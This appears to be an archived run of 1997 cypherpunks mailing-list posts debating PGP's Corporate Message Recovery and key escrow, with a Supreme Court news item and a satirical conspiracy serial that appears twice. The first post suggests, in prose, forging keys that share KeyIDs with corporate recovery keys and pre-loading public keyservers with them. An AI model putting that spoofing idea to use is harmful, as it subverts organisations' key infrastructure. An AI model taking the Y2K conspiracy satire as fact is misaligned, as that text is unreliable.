I thought Tim's point was directed to OpenPGP; Jon Callas and others
said things like ~~If you've got features you want done, 
propose it to OpenPGP and get them to adopt it, and that'll
give us a business reason that we ought to adopt it.~~
(I think the context of that was discussing Stealth, which they
still don't have enough business demand for to take time on,
and which by the way puts a major crimp in SMTP filters.)

>This quote should give us clue as to why they will continue with CMR: 
>	"we're a real company with accountants"

That wasn't an exact quote, just a paraphrase from my memory of 
several conversations.  

>Similar arguments would presumably present them with "no choice" but
>to fulfill the order for 100,000 GAK compliant units from the
>government terrorizing the freedom fighters PRZ likes to tell us
>about who are already using PGP GAK compliant software: pgp5.0.

Even if they did that, it wouldn't change the power relationships;
if the government can compel GAK keys by filtering SMTP or
confiscating non-eavesdropping-compatible mail gateways,
it doesn't matter if the Cc: Big Brother was added as a PGP5.5 CMRK
or as a PGP2.6.2i multiple recipient - you can't tell from
the message format (except for DH vs. RSA).


>What can we do about this situation?  Well we could build systems
>which hack around the CMR system.  Easy enough: just put dud
>"recovery" info inside.  We still have deployment problems.

Unless I misunderstood the formats, 
CMRKs are just identified by KeyID, not by fingerprint,
and it's easy to look through the public keyservers to find CMRKs
(though companies may prefer to have their employees mail out
keys to people who need them rather than making all their
keys constantly visible on the outside servers.)
So go find them all, send protest email to the postmasters
and corporate officials at the companies that use CMRKs,
crank up your deadbeef generator to make your own keys
with the same KeyIDs as the CMRKs, and pre-load the public keyservers.
A nice touch would be to burn your copies of the private keys
for the CMRK imitators, but we'll never know if you did, will we?
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Harry Hansen" <hahansen@hotmail.com>
Date: Fri, 17 Oct 1997 01:37:16 +0800
To: cypher@infinity.nus.sg
Subject: finger
Message-ID: <19971016173653.12409.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Fri, 17 Oct 1997 02:04:16 +0800
To: jon@pgp.com>
Subject: Re: Praise the Lord! / Re: anti-GAK design principles: worked example #1
In-Reply-To: <v04001b0eb06a3d206797@[205.180.137.244]>
Message-ID: <3.0.3.32.19971016104056.00bd3d70@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:39 AM 10/16/97 -0600, TruthMonger wrote:

     I could be wrong, *but*:
     With PGP 5.0, I found that if someone sent me a message that
   was encrypted to someone else, I would get a message telling me
   that I didn't have the proper key, but would not tell me who the
   message *was* encrypted to.

You're right, that was in PGP 5.0. It sucked. It's fixed in 5.5. 5.5 shows
you a nice little box on every message showing you who it is encrypted to.

	Jon

   

-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 17 Oct 1997 02:53:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <199710161715.TAA21716@basement.replay.com>
Message-ID: <v03102803b06c0e66e0a2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:15 AM -0700 10/16/97, Anonymous wrote:
...
> - An encrypted message is sent as before, but this time the message is
>   encrypted to the corporate key.
...
>In the third scenario, where you encrypt to the corporate key, there is
>no expectation of privacy.  All parties, the sender, the receiver, and
>the company, know that the data is being made available to the business.
>There is not much privacy here; what you have is business security.  This
>mode would be used for business documents and business communications.

However, this scenario may well represent a _step downward_ in real world
security for business users.

Whereas today their messages, encrypted or not, are not readily available
to spies within a company (save for sendmail logs, a serious liability, I
fully agree), implementation of the third scenario would potentially pool
all messages in a single very tempting target for snooping.

As I have noted, there are times when the CEO or other senior officer of a
company wants to communicate _truly securely_ with others inside or outside
his company. It is not acceptable to these companies to have a Corporate
Crypto Compliance Policeman (CCCP) able to peruse these messages.

Nor is it a very good idea to have an archive of pooled messages subject to
"discovery" in a lawsuit, FTC or SEC action, etc. There is a real risk that
PGP for Business with its archiving functions will decrease "plausible
deniability."

A solution is to have "override modes" on the CMR features, presumably
based on level within a company, permission, etc.

Another solution, which I presume PGP for Business could support, is to
have a series of levels, or even distributed pools. In other words, _many_
corporate keys.

(It would be impractical, obviously, for large companies with tens of
thousands of employees to all be feeding their dozens or hundreds of
messages a day into a single corporate key in box.)

The bottom line is that, while many companies may be clamoring for message
recovery, they may end up not liking the new risks imposed.


(And, should PGP's adoption of CMR hasten the onset of mandatory GMR or
GAK, as it may well be doing already, they may truly hate the whole thing.)

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: I Am Not A Crook Remailer <ianacr@dev.null>
Date: Fri, 17 Oct 1997 02:05:06 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 3 (Part III of 'The True Story of the InterNet')
Message-ID: <344652FF.2F9C@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
Gomez


Epilogue


Subject: Nun Other
From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com

On terrorists, one of the Four Horsemen.


IS THE ASSAULT ON NATIVE INTELLIGENCE &
GOOD WILL WE CALL THE EVENING NEWS
ANYTHING OTHER THAN AN ACT OF TERRIORISM?


What was the Gulf War but terrorism
wearing the death mask of order?--
One big car bomb it was
the guys who drove it
are dying now one by one--ignored!

Is acid rain a form of terrorism? (Think for yourself.)
Is GATT or NAFTA anything but a pact among brigands--the World
Bank, the IMP their backup men?
How long before they fight over the spoils?
Who'll do the fighting for them?"



Gomez

Damn!

Will these contemptuous, plebeian subalterns
never learn?

I will
allow them to fight over the spoils! They will
do the fighting for ME! It is I who am at the right
hand of the Evil One. It is I who will bring the
earth to submission under HIS dominion, with the Dark
Allies by my side. 

The future is written! It is written!

These foolish ants continue to struggle in vain, though the battle
they persist in fighting was lost centuries ago. They can do no
more than postpone the inevitable, at best...


The stage is set. My minions have their exits
and their entrances, and I have, in my time, played many parts.

The book-learners rail against sheep in wolves
clothing, while I weave them all into patterns of my own design,
like a weaver spinning her wool and intertwining it according
to an already foreseen pattern.
Like the Big Bad Wolf in Grandmother's bed, I sit at the head
of the table from which they sup, laughing at the ragamuffin progeny
of the human race as they tell me, "My, Big Brother, what
big eyes you  have."

And what big teeth I have...but
this Big Bad Wolf has already taken the axes out of the
hands of most of the woodcutters, and the rest of their weapons
shall be in my hands by the end of 1999.
The mortal fools who live in the InfoWar weald of my Grand Scheme
cannot see the forest for the trees as they fight their 'winning'
battles one retreat at a time. I have turned their words on their
head with NewSpeak, DoubleSpeak and SpinSpeak-I have turned their
minds upside down by making all forms of disagreement with my
Puppet Masters CrimeThink and CrimeSpeak.

I have turned their world and their reality
on its head, yet the simpletons are not capable of turning 1999
on its head and realizing that at the end of the millennial forest
stands the Subtle Serpent which convinced Eve and Adam to eat
the fruit from the Tree of the Knowledge of Good and Evil-the
serpentine, autarchic Evil-1...and
Armageddon.



"Please allow me to introduce myself..."

"I am An Evil FUD Disseminator To
Be Named Later.
"I will be your host for the rest of this chapter of 'InfoWar,'
because I have the brass balls needed to tell you blatant lies
about your future, and the future of humanity,  because I know
that it is now too late for human kind to save themselves, and
that you desperately desire to hear, and believe, the
lies I am about to tell you.
"Now...back to our 'story.'"


It is becoming increasingly obvious, to even
the deaf, dumb and blind, that the Y2K (Year 2000) programming
'problem' has the potential to become a worldwide disaster.

Is this an 'accident?' Is it the result of
the laws of inertia, vis a vis human nature?
Yes...now turn on the TV and go back to sleep.

That's right...the Y2K 'problem' has been
known about for years, yet the finest minds in the arena of computer
finance have not understood the true import of the problem until
just recently. The major players of huge financial empires have
been sitting on their butts, completely unaware of the possible
scope of disaster that lies in wait at the turn of the century.
And all because they are so terribly, terribly stupid.

Yes, they are just now beginning to wake up
and realize that their whole world may come crashing down around
them if the Y2K problem is not properly dealt with.
Bill Gates has been sitting back, thinking, "Damn. I may
be out a hundred billion dollars before the fallout from this
problem stops. Oh well, easy come, easy go."

Financial institutions holding billions of
dollars in hard assets have not even remotely considered the possibility
that, if computers worldwide lose the ability to easily prove
whom those assets truly belong to, well..."We'll have
this all sorted out soon, sir. If you will just take a place at
the back of the line, behind the other one hundred million people,
our company directors will be taking a look at everyone's claims
just as soon as they get back from their extended vacation on
the French Riviera."


"After an intensive inquiry, we have
come to the conclusion that we are an honest, reputable financial
institution which would never take advantage of the Holocaust
by profiting outrageously from the slaughter of millions of our
valued customers.
"There is just no way we can possibly trace who these assets
should properly belong to as a result of being slaughtered by
some of our other valued customers.
  "On your way out, would you mind throwing these bookkeeping
records in the trash for me?"


The truth of the matter is, human nature is
such that the operators of funeral parlors in Asia have been found
to be paying hospital employees to surreptitiously murder patients
whose family members are likely to use the operators services
when their relatives die.
However, people who can rule empires, perhaps even the world,
by virtue of being a Sumo Dog in a world of kittens, would never
dream of using their money, power and position to do so.


The three-letter agencies that regularly violate
all manner of their own country's laws, as well as the laws of
other countries, and international law-the secret agents who trade
in weapons and drugs to support their objectives, while imprisoning
others who do so-the spooks who openly admit that they use their
secret access to worldwide financial systems to manipulate and
steal the Bad Guys (tm) money and bring them to ruin...
Well, lets just say that they are people with high moral values,
and would never consider secretly preparing to take full advantage
of the Y2K issue, while assuring those outside the loop that it
is bit of a 'problem' that 'someone' will get around to taking
care of, sooner or later.


You can turn on the TV and see major financial
institutions actively seeking the business of deadbeats or fools
with hard assets. You can see a smiling man explaining that the
company he represents loves you so gosh-darned much that their
standard contract contains two 'gimmes'-that they will give you
coupons which allow you to 'miss' two payments at your own convenience.

"Yes folks, we are trying to help people who are
likely to default on their loans because they believe the problems
resulting from their bad financial habits will be solved by planning
ahead for getting in above their heads."
You can see ads telling you that Company B loves you so gosh-darned
much that they will loan you up to 125% of your equity in your
home.
"We will even kiss you on the lips, to show our sincerity.

" When we call in your loan, you will be advised of where
you can kiss us."

Trust me...these people are not involved
in a mad scramble to gain possession of as many hard assets as
possible because they know something that you don't know...



The IRS, the Rockerfellers, the shadowy world
figures who own and operate munitions factories in both, or all,
countries involved in armed conflict, the patriots who sell ball-bearings
to keep the war machines that are shooting at their sons and daughters
operating...
Well, if there is great upheaval and disaster in the financial
community, as well as in society itself, then these people will
probably come to ruin, while your life just keeps getting better
and better.


In conclusion, I would like to assure you
that if worldwide disaster suddenly looms as a result of a crisis
caused by the Y2K 'problem,' that it will undoubtedly be a result
of the evil conspiracies of drug dealers, pedophiles, terrorists,
Saddam Hussein, and a Horseman to be named later.

The 'good' news is that our saviors are waiting
in the wings to rush to our rescue and save us from the Great
Evil...as long as your name is not on 'The List,' of course.

{Hang on a second, I'll check...}

Gee pal, I'm afraid I have some rather bad
news for you...


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: I Am Not A Crook Remailer <ianacr@dev.null>
Date: Fri, 17 Oct 1997 02:08:40 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 3 / TEXT
Message-ID: <3446532E.3F3C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * Gomez

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

Subject: Nun Other
From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com

On terrorists, one of the Four Horsemen.

IS THE ASSAULT ON NATIVE INTELLIGENCE &
GOOD WILL WE CALL THE EVENING NEWS
ANYTHING OTHER THAN AN ACT OF TERRIORISM?

What was the Gulf War but terrorism
wearing the death mask of order?--
One big car bomb it was
the guys who drove it
are dying now one by one--ignored!

Is acid rain a form of terrorism? (Think for yourself.)
Is GATT or NAFTA anything but a pact among brigands--the World Bank, the IMP
their backup men?
How long before they fight over the spoils?
Who'll do the fighting for them?"
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                    Gomez

Damn!

Will these contemptuous, plebeian subalterns never learn?

I will allow them to fight over the spoils! They will do the fighting for
ME! It is I who am at the right hand of the Evil One. It is I who will bring
the earth to submission under HIS dominion, with the Dark Allies by my side.

The future is written! It is written!
These foolish ants continue to struggle in vain, though the battle they
persist in fighting was lost centuries ago. They can do no more than
postpone the inevitable, at best...
----------------------------------------------------------------------------

The stage is set. My minions have their exits and their entrances, and I
have, in my time, played many parts.

The book-learners rail against sheep in wolves clothing, while I weave them
all into patterns of my own design, like a weaver spinning her wool and
intertwining it according to an already foreseen pattern.
Like the Big Bad Wolf in Grandmother's bed, I sit at the head of the table
from which they sup, laughing at the ragamuffin progeny of the human race as
they tell me, "My, Big Brother, what big eyes you have."

And what big teeth I have...but this Big Bad Wolf has already taken the axes
out of the hands of most of the woodcutters, and the rest of their weapons
shall be in my hands by the end of 1999.
The mortal fools who live in the InfoWar weald of my Grand Scheme cannot see
the forest for the trees as they fight their 'winning' battles one retreat
at a time. I have turned their words on their head with NewSpeak,
DoubleSpeak and SpinSpeak-I have turned their minds upside down by making
all forms of disagreement with my Puppet Masters CrimeThink and CrimeSpeak.

I have turned their world and their reality on its head, yet the simpletons
are not capable of turning 1999 on its head and realizing that at the end of
the millennial forest stands the Subtle Serpent which convinced Eve and Adam
to eat the fruit from the Tree of the Knowledge of Good and Evil-the
serpentine, autarchic Evil-1...and Armageddon.
----------------------------------------------------------------------------

"Please allow me to introduce myself..."

"I am An Evil FUD Disseminator To Be Named Later.
"I will be your host for the rest of this chapter of 'InfoWar,' because I
have the brass balls needed to tell you blatant lies about your future, and
the future of humanity, because I know that it is now too late for human
kind to save themselves, and that you desperately desire to hear, and
believe, the lies I am about to tell you.
"Now...back to our 'story.'"

It is becoming increasingly obvious, to even the deaf, dumb and blind, that
the Y2K (Year 2000) programming 'problem' has the potential to become a
worldwide disaster.

Is this an 'accident?' Is it the result of the laws of inertia, vis a vis
human nature?
Yes...now turn on the TV and go back to sleep.

That's right...the Y2K 'problem' has been known about for years, yet the
finest minds in the arena of computer finance have not understood the true
import of the problem until just recently. The major players of huge
financial empires have been sitting on their butts, completely unaware of
the possible scope of disaster that lies in wait at the turn of the century.
And all because they are so terribly, terribly stupid.

Yes, they are just now beginning to wake up and realize that their whole
world may come crashing down around them if the Y2K problem is not properly
dealt with.
Bill Gates has been sitting back, thinking, "Damn. I may be out a hundred
billion dollars before the fallout from this problem stops. Oh well, easy
come, easy go."

Financial institutions holding billions of dollars in hard assets have not
even remotely considered the possibility that, if computers worldwide lose
the ability to easily prove whom those assets truly belong to, well..."We'll
have this all sorted out soon, sir. If you will just take a place at the
back of the line, behind the other one hundred million people, our company
directors will be taking a look at everyone's claims just as soon as they
get back from their extended vacation on the French Riviera."

"After an intensive inquiry, we have come to the conclusion that we are an
honest, reputable financial institution which would never take advantage of
the Holocaust by profiting outrageously from the slaughter of millions of
our valued customers.
"There is just no way we can possibly trace who these assets should properly
belong to as a result of being slaughtered by some of our other valued
customers.
"On your way out, would you mind throwing these bookkeeping records in the
trash for me?"

The truth of the matter is, human nature is such that the operators of
funeral parlors in Asia have been found to be paying hospital employees to
surreptitiously murder patients whose family members are likely to use the
operators services when their relatives die.
However, people who can rule empires, perhaps even the world, by virtue of
being a Sumo Dog in a world of kittens, would never dream of using their
money, power and position to do so.

The three-letter agencies that regularly violate all manner of their own
country's laws, as well as the laws of other countries, and international
law-the secret agents who trade in weapons and drugs to support their
objectives, while imprisoning others who do so-the spooks who openly admit
that they use their secret access to worldwide financial systems to
manipulate and steal the Bad Guys (tm) money and bring them to ruin...
Well, lets just say that they are people with high moral values, and would
never consider secretly preparing to take full advantage of the Y2K issue,
while assuring those outside the loop that it is bit of a 'problem' that
'someone' will get around to taking care of, sooner or later.

You can turn on the TV and see major financial institutions actively seeking
the business of deadbeats or fools with hard assets. You can see a smiling
man explaining that the company he represents loves you so gosh-darned much
that their standard contract contains two 'gimmes'-that they will give you
coupons which allow you to 'miss' two payments at your own convenience.
"Yes folks, we are trying to help people who are likely to default on their
loans because they believe the problems resulting from their bad financial
habits will be solved by planning ahead for getting in above their heads."
You can see ads telling you that Company B loves you so gosh-darned much
that they will loan you up to 125% of your equity in your home.
"We will even kiss you on the lips, to show our sincerity.
" When we call in your loan, you will be advised of where you can kiss us."

Trust me...these people are not involved in a mad scramble to gain possession
of as many hard assets as possible because they know something that you
don't know...

The IRS, the Rockerfellers, the shadowy world figures who own and operate
munitions factories in both, or all, countries involved in armed conflict,
the patriots who sell ball-bearings to keep the war machines that are
shooting at their sons and daughters operating...
Well, if there is great upheaval and disaster in the financial community, as
well as in society itself, then these people will probably come to ruin,
while your life just keeps getting better and better.

In conclusion, I would like to assure you that if worldwide disaster
suddenly looms as a result of a crisis caused by the Y2K 'problem,' that it
will undoubtedly be a result of the evil conspiracies of drug dealers,
pedophiles, terrorists, Saddam Hussein, and a Horseman to be named later.

The 'good' news is that our saviors are waiting in the wings to rush to our
rescue and save us from the Great Evil...as long as your name is not on 'The
List,' of course.

{Hang on a second, I'll check...}

Gee pal, I'm afraid I have some rather bad news for you...
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stanton McCandlish <mech@eff.org>
Date: Fri, 17 Oct 1997 03:23:58 +0800
To: fight-censorship@vorlon.mit.edu
Subject: pro-crypto govt. people
Message-ID: <199710161900.MAA15010@eff.org>
MIME-Version: 1.0
Content-Type: text/plain



This year I recall seeing 1 former prosecutor saying that widespread
encryption was good and/or that GAK was bad, and 1 military or former
military person of fairly high status saying that GAK was bad. Circa
1994-5 I also recall a military or retired miltiary person of rank
reporting that very widespread crypto would be a boost to national
security.  We could really use these people's, and similar people's, words
in pro-crypto efforts. Unfortunately, disk problems a while back cost me
most of my old mail, including all of these saved items. If anyone has
them and/or knows who these people are, please let me know.

--
Stanton McCandlish                                           mech@eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 17 Oct 1997 01:32:32 +0800
To: cypherpunks@toad.com
Subject: Re: what can we do about PGP sell out and CMR?
Message-ID: <eca9fd16c885a0317a288f74def63dc8@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



You've got a lot of nerve accusing PGP, Inc. of being "sellouts" when
you're over on open-pgp pushing KEY ESCROW, of all things.  I can see it
now, the new product name, "PGP with Key Escrow".  Motto: "Lose your key?
Don't worry, we've got a copy."  Do you really think cypherpunks are
going to support key escrow?  Fat chance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 17 Oct 1997 04:39:52 +0800
To: cypherpunks@toad.com
Subject: FBI allowed to keep file on New York man's lawful activities
Message-ID: <Pine.GSO.3.95.971016131303.29848M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





	<B>FBI allowed to keep file on New York man's lawful activities<P>
<B>By LAURIE ASSEO<P>
<B>Associated Press Writer<P>
	WASHINGTON (AP) - The Supreme Court today refused to order the FBI
to purge its file on lawful activities by the former head of a charitable
foundation.
	The court, without comment, turned away arguments that said the
FBI is violating a federal privacy law by keeping a file about the man's
years-ago meetings with foreign leaders and political dissidents.
	Lance E. Lindblom of Larchmont, N.Y., was president of the
Chicago-based J. Roderick MacArthur Foundation from 1984 to 1994. The
foundation supports civil liberties activities, and Lindblom's duties
included meeting with foreign leaders and political dissidents.
	After filing a request with the FBI, Lindblom learned in 1989 that
the bureau kept records that described his meetings with such people.
	Lindblom and the foundation sued the FBI in federal court in the
District of Columbia, saying the 1974 federal Privacy Act required the
bureau to purge those files.
	The law limits federal agencies' authority to keep records
describing how people exercise their rights under the Constitution's First
Amendment, including rights of free speech and association.
	Under the Privacy Act, agencies can keep such records only if it
is authorized by another law or "within the scope of an authorized law
enforcement activity."
	A federal judge ruled for the FBI, saying the files were compiled
for legitimate law enforcement purposes. The investigations were not aimed
at Lindblom or the foundation, but were aimed at the people with whom they
met, the judge said.
	A federal appeals court agreed last December. Federal agencies can
keep records they lawfully collected, the appeals court said, adding that
a requirement to purge old files would be too burdensome.
	In the appeal acted on today, Lindblom's lawyers said agencies
must separately justify the need to keep old records, even if they
originally were lawfully collected.
	Keeping Lindblom's file increases the risk that it will be used
illegally, his lawyers said, noting the 1996 controversy after it was
found that the FBI files of 700 former White House employees had been sent
to the White House.
	Justice Department lawyers said a requirement to purge old files
would cause problems if the information later was needed for a new or
reopened investigation.
	The case is Lindblom vs. FBI, 97-82.
	APTV-10-14-97 1020EDT
	  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Fri, 17 Oct 1997 04:53:23 +0800
To: Declan McCullagh <mech@eff.org>
Subject: Re: pro-crypto govt. people
In-Reply-To: <199710161900.MAA15010@eff.org>
Message-ID: <3.0.1.32.19971016132333.00947830@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:08 PM 10/16/97 -0400, Declan McCullagh wrote:
>Last week after a TV show I was
>telling Donna Rice-Hughes about how crypto can protect against stalkers,
>but I don't know if she understood my argument.

Stick to words of one syllable. Hmmm...
"If you make words hard to read, bad men will not find you."

Try that. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Psycho Killer <pk@dev.null>
Date: Fri, 17 Oct 1997 03:59:49 +0800
To: Igor Chudov <ichudov@Algebra.COM>
Subject: Re: CFV: comp.org.cauce moderated -- support privacy and anonymity
In-Reply-To: <872169177.17960@isc.org>
Message-ID: <3446704A.F93@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> [This message has also been posted.]
> [I am objecting to a proposal that seeks to ban one-way anonymous
> remailers and other forms of unrepliable addresses such as spamblocked
> addresses].
 
> Mozena>>But, what do you have against anonymity?
> Mozena>
> Mozena>Nothing. What right do you have, though, to force me and others to
> Mozena>inconvenience ourselves so you can post anonymously or protect yourself
> Mozena>from spam?

  I agree with Mozena. I like to hunt down and slaughter people who
use the word 'reference' in their posts, and I'm getting damn tired
of wasting my valuable time because some assholes want to remain
anonymous.

> The average American spends a total of six (6) months in prison.

  I always knew I was above average, and now I have *proof*.

Psycho Killer
"Qu'est que c'est?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 21:53:42 +0800
To: kent@bywater.songbird.com
Subject: re. GAK resistant design principles: worked example #1
In-Reply-To: <19971015203509.42369@bywater.songbird.com>
Message-ID: <199710161339.OAA00277@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin has a tenacious ability to continue to think logically
and critically, and not be drawn into emotional exchanges in the face
of jibes and hostilities (I am referring to previous unpleasantaries
on cypherpunks).  I think we all could take a leaf out of his book.  I
am going to attempt to myself from this point on in the CMR vs CDR
argument.  (I accept Jon Callas comments along similar lines.)

Kent Crispin <kent@songbird.com> writes:
> On Wed, Oct 15, 1997 at 11:45:01PM +0100, Adam Back wrote:
> > 
> > 
> > Part of the problem in this debate I think is that I have proposed
> > many alternate designs, with varying degrees of GAK-hostility.
> > 
> > Also I have been accused of using "lots of anti GAK rhetoric, but
> > giving no proposals" by Kent.
> 
> Adam, you've tossed out half-baked ideas buried in several thousand
> lines of anti-GAK rant.  None of them were thought through in terms of
> infrastructure impact.  

I have resolved to repent my ways with regard to unconstructive
ranting and rudeness.  This should have the positive side effect of
reducing the length of my posts, and ensuring that more people read
them critically.

That the ideas seemed initially fuzzy is a reflection of the fact that
I have, as I presume others have also, been gradually improving my
understanding of these complex issues.

I found the exercise in attempting to codify what I consider to be
optimal design decisions from the point of view of maximising the GAK
resistance properties of protocol designs, software implementations
and communications standards useful in clarifying my thoughts.

I feel confident in my ability to demonstrate that my GR (GAK
resistant) design principles can be usefully applied to increase the
GAK resistance of the design of systems using confidentiality and
communicatons.

I will comment on your specific comments on this aspect below.

> The idea of reencrypting the data strikes me as half-baked, as well
> -- I sit and wonder about the pass-phrase handling for the transient
> encryption keys that are changing on a daily or weekly basis -- or
> is there no pass-phrase -- is the key just stored on disk with no
> protection

Your suggestion that the re-encryption construct is weak from a GAK
resistancy (GR) perspective is correct.  See my earlier comments on
realising the danger of that construct.

> > I reject that claim.  (I did use lots
> > of rhetoric, but this was to try to impress upon those arguing for CMR
> > of it's dangers.  They do not seem to acknowledge them.)
> 
> The evidence seems to suggest that the PGP folks agonized pretty 
> heavily over their design.  A stupid attack such as yours is far more 
> likely to cement resistance than it is likely to win cooperation.

I am forced to agree that emotional attacks are likely to hinder
cooperation.  Therefore emotional attacks on this topic are themselves
likely to be counter to global GR optimisation.  It is for this reason
that I will attempt from this point on in this discussion to swallow
my anger unless I can justify outbursts in terms of GR optimisation.
Readers are encouraged to remind me if I start slipping.

I can only offer as an excuse that it seems to me that PGP Inc could
be doing more to increase the GAK resistance of their product and
design within the financial and user requirement constraints they
face.  Emotional appeals are as you say is not likely to be the best
means to explain this belief.

I also offer as a mild excuse that in carrying out interactive list
discussions with people in the US who are on GMT-8 that my sleep
deprivation may have been showing through in irritability :-) I found
myself for instance going to bed at 8.30 am the other night.

> > I'll try in
> > this post to steer clear of anti-GAK rhetoric.  We'll instead take it
> > as a given that pgp5.5 and pgp5.0 are GAK compliant because of CMR and
> > that this is a bad thing.
> 
> Trying real hard...

Allow me to rephrase that in the light of my GR maximisation motivated
apparent character reform:

I believe that PGP Inc could make their design more resistant to GAK. 

The reason I believe that PGP Inc has thus far arrived at different
design conclusions than I, Bruce Schneier, Tim May, Ian Brown, and
others, is that PGP Inc have differently prioritised the multiple
desirable properties of a socially progressive crypto design.

Desirable properties are in prioritsed order of importance as I see
them:

1. preventing big brotherish governments enforcing GAK
2. discouraging little brotherish business practices
3. encouraging transparency of intent (marking keys with statements of
   intent on handling of plaintext)
4. application ergonomics

I think that PGP Inc has transposed criteria 1 and 2 in their
prioritisation.  I believe PGP Inc's design decisions and
recommendations to companies reflect honest attempts to discourage
little brother, and their use of statement of intent technology
demonstrates their commitment to preventing big brother.  But I fear
that their prioritisation reduces the big brother resistance of their
CMR system because this resistance has been traded off to attempt to 
provide little brother resistance.

If I understand correctly several PGP employees have claimed that you
should attempt to enforce the statement of intent principle with
protocol modifications.  Whilst statement of intent is useful, and a
good innovation which I applaud, criteria 1 and 2 should take
precedence where protocol modifications which are thought to
strengthen statement of intent have a side effect of reducing GAK
resistance.

Independently I think that it is not semantically useful to try to
enforce statement of intent at the protocol level with the CMR method.
This is because having an enforced second recipient in no way
guarantees that the second recipient will read the message, or is able
to read the message (the second recipient might not receive the
ciphertext, or he might have lost the company access key).

> > Will is correct on one point: at the begining I had not properly
> > thought one aspect through:
> 
> I suspect there are several other flaws you are now quite aware 
> of...too bad, I hoped you had something.

I believe that using the GAK resistant design principles allows one to
focus more clearly on the benefits of the various trade-offs possible
and to more acurately prioritise the multiple social criteria.

> > Design 1.
> > 
> > Instructions:
> > 
> > - scrap the CMR key extension
> > 
> > - store a copy of the private half of the users PGP encryption key
> >   encrypted to the company data recovery key on the users disk.
> 
> I work for a large organization, I have a unix workstation, an
> xterminal booting off a departmental server, and a Mac in my office. 
> As is typical in large organizations, a system admin team takes care
> of all routine administration of my systems.  They all have root, of
> course, and routinely do system upgrades and software installs on my
> Mac.

Sounds like a good example to base discussions upon: X-terminals,
multi user unix work stations and remotely configurable PCs.

> Your solution doesn't seem to fit this environment very well...

I would take your point there to be that you can't store the recovery
key on the local disk for the reason that the disk isn't local, and
that when the recovery key is stored on the local disk on remotely
administered or multi-user workstations that this is less secure.

I agree.  It is less secure.

(I have htmlized, and attempted to more clearly re-word the GR design
principles:

	http://www.dcs.ex.ac.uk/~aba/gakresis/

I have also added a fourth corollary which you might like to comment
on (it's not relevant to the above point).)

To return to your criticisms based on the mish-mash of shared user and
X-terminals typical of corporate environments, corollary 2 expresses
the best that can be done in this scenario:

> Corollary 2: where communications are transmitted in ways which
